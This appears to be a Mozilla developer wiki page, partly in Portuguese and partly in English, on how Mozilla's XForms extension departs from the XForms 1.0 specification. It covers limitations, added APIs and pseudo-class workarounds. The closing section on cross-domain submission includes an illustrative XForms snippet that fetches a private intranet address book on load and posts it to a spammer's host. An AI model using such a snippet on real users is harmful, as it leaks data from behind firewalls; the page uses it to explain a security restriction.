Introdução
Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas.
Limitações
Repetição usando atributos
De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado.
(limitação acompanhada no {{template.Bug(280368)}})
Misturando Repetição e table
ou ul
Não é possível misturar repetições tanto com table
ou ul
. Isto significa que não é possível fazer:
<table> <xf:repeat ...> <tr> ... </tr> </xf:repeat> </table>
ou
<ul> <xf:repeat ...> <li> ... </li> </xf:repeat> </ul>
Section 9.3.2 determina que misturando com table
provávelmente nunca funcionará. Misturando com ul
pode sofrer a mesma limitação mas não deve travar o sistema ({{template.Bug(330022)}}).
Suporte a pseudo classes
Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled
, etc. ), exceto para :read-only
e :read-write
, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only
e :-moz-read-write
.
(limitação acompanhada no {{template.Bug(313111)}})
Suporte a pseudo elemento
Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index
). Você deve usar as seguintes classes normais:
-
xf-value
-
xf-repeat-item
-
xf-repeat-index
Por exemplo, para direcionar o elemento valor de um controle input
use:
@namespace xf url("https://www.w3.org/2002/xforms"); xf|input .xf-value { ... }
Os pseudo elementos são definidos na CSS3 Especificação básica de usuário .
(limitação acompanhada no {{template.Bug(271724)}})
Extensions
Enumerando Instâncias
O nsIXFormsModelElement standardizado não permite um para enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments()
ao model
que retorna todos os documentos de instância do modelo. Isto está documentado no nsIXFormsNSModelElement.
Getting To Instance Element From A Data Node
In the XForms 1.0 specification there is no way to get to the instance
element from an instance data node. We have added a function via the getFeature()
call on each node, that allows the form author to do that. That is, if instanceNode
is a node in an instance document, then:
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
will return the <instance>
element (in the main document) that the node belongs to.
Getting To The Instance Document From The Instance Element
In the XForms 1.0 specification you have to go through the model
element to get to the instance document. It seems a bit awkward if you have the instance
element, so we have added a getInstanceDocument()
function directly on the instance
element as a shortcut. This is documented in nsIXFormsNSInstanceElement.
Custom Control Interface
We have added a lot of functionality to our user interface, which allows the form authors to create custom controls. It involves exposing some (script) functionality on all our controls, like output
, input
, etc. and allowing the UI to be represented in XBL. More information can be found in XForms:Custom Controls.
Misc
Cross Domain Submission
Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes
If you are wondering why we have this restriction, here is a simple example of why:
<xforms:model> <xforms:instance src="https://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="https://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model>
This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) https://intranetserver/addrbook.xml
, and send it to https://megaspammer.com/gather
as soon as you view the XForm.
Categorias
Interwiki Language Links
{{ wiki.languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}